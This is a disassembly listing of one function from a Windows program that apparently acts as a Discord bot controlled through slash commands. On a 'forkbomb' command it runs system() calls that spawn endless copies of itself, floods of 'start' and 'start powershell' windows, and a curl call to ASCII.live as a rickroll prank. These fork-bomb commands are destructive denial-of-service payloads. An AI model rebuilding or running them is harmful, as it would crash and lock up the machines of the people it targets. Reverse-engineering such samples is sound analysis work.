Function at 0x140066470
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x3e8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x92
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x408]
mov rax, qword [0x1400af080]
xor rax, rbp
mov qword [rbp + 0x3b8], rax
mov dword [rbp + 0x374], 0
lea rcx, [0x1400c01c0]
call fcn.14002f99b
nop
mov rax, qword [rbp + 0x3e8]
add rax, 0x40
mov qword [rbp + 0x388], rax
lea rdx, [rbp + 0x1e8]
mov rcx, qword [rbp + 0x388]
call qword [sym.imp.dpp.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_dpp::interaction::get_command_name_void____ptr64]
mov qword [rbp + 0x390], rax
mov eax, dword [rbp + 0x374]
or eax, 1
mov dword [rbp + 0x374], eax
lea rdx, str.forkbomb
mov rcx, qword [rbp + 0x390]
call fcn.14002ea5a
movzx eax, al
test eax, eax
je 0x140066559
mov rax, qword [rbp + 0x3e8]
add rax, 0xd0
mov qword [rbp + 0x398], rax
mov rdx, qword [0x1400b0ea0]
mov rcx, qword [rbp + 0x398]
call fcn.14002f7d9
movzx eax, al
test eax, eax
je 0x140066559
mov dword [rbp + 0x3a0], 1
jmp 0x140066563
mov dword [rbp + 0x3a0], 0
movzx eax, byte [rbp + 0x3a0]
mov byte [rbp + 0x1c4], al
mov eax, dword [rbp + 0x374]
and eax, 1
test eax, eax
je 0x140066591
and dword [rbp + 0x374], 0xfffffffe
lea rcx, [rbp + 0x1e8]
call fcn.14002e4bf
nop
movzx eax, byte [rbp + 0x1c4]
test eax, eax
je 0x1400667d7
mov rax, qword [rbp + 0x3e8]
mov rax, qword [rax]
mov rax, qword [rax + 8]
mov qword [rbp + 0x388], rax
lea rdx, str.type
lea rcx, [rbp + 0x228]
call fcn.14002ebe0
nop
lea r8, [rbp + 0x228]
lea rdx, [rbp + 0x268]
mov rcx, qword [rbp + 0x3e8]
call qword [rbp + 0x388]
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x398], rax
mov rcx, qword [rbp + 0x398]
call fcn.14002ece4
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.14002f806
nop
lea rcx, [rbp + 0x268]
call fcn.14002ee29
nop
lea rcx, [rbp + 0x228]
call fcn.14002e4bf
nop
lea rax, [rbp + 0x2b8]
mov qword [rbp + 0x318], rax
mov rcx, qword [rbp + 0x318]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov qword [rbp + 0x388], rax
mov rax, qword [rbp + 0x388]
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x398], rax
lea r8, [rbp + 8]
lea rdx, str.executting....
lea rcx, [rbp + 0x338]
call fcn.14002e122
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x3a8], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x3b0], rax
mov r8, qword [rbp + 0x398]
mov rdx, qword [rbp + 0x3b0]
mov rcx, qword [rbp + 0x3e8]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::interaction_create_t::reply_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64___const___ptr64]
nop
lea rcx, [rbp + 0x338]
call fcn.14002e4bf
nop
lea rdx, str.percentzero
lea rcx, [rbp + 8]
call fcn.14002ea5a
movzx eax, al
test eax, eax
je 0x1400666f7
lea rcx, str.start_echo__0_0_____.cmd________nul
call qword [sym.imp.ucrtbased.dll_system]
nop
jmp 0x1400667cb
lea rdx, [0x14009adc0]
lea rcx, [rbp + 8]
call fcn.14002ea5a
movzx eax, al
test eax, eax
je 0x14006672a
xor eax, eax
cmp eax, 1
je 0x140066725
lea rcx, str.start
call qword [sym.imp.ucrtbased.dll_system]
nop
jmp 0x14006670e
jmp 0x1400667cb
lea rdx, str.Powershell
lea rcx, [rbp + 8]
call fcn.14002ea5a
movzx eax, al
test eax, eax
je 0x14006675a
xor eax, eax
cmp eax, 1
je 0x140066758
lea rcx, str.start_powershell
call qword [sym.imp.ucrtbased.dll_system]
nop
jmp 0x140066741
jmp 0x1400667cb
lea rdx, str.Mega
lea rcx, [rbp + 8]
call fcn.14002ea5a
movzx eax, al
test eax, eax
je 0x1400667a6
xor eax, eax
cmp eax, 1
je 0x1400667a4
lea rcx, str.start_powershell
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.start
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.start_echo__0_0_____.cmd________nul
call qword [sym.imp.ucrtbased.dll_system]
nop
jmp 0x140066771
jmp 0x1400667cb
lea rdx, str.rickroll
lea rcx, [rbp + 8]
call fcn.14002ea5a
movzx eax, al
test eax, eax
je 0x1400667cb
lea rcx, str.start_curl_ASCII.live_can_you_hear_me
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [rbp + 8]
call fcn.14002e4bf
nop
jmp 0x1400667eb
lea rdx, str.not_for_me__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002e2f8
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x1400957a0]
call fcn.14002f4fa
mov rcx, qword [rbp + 0x3b8]
xor rcx, rbp
call fcn.14002eca8
lea rsp, [rbp + 0x3c8]
pop rdi
pop rbp
ret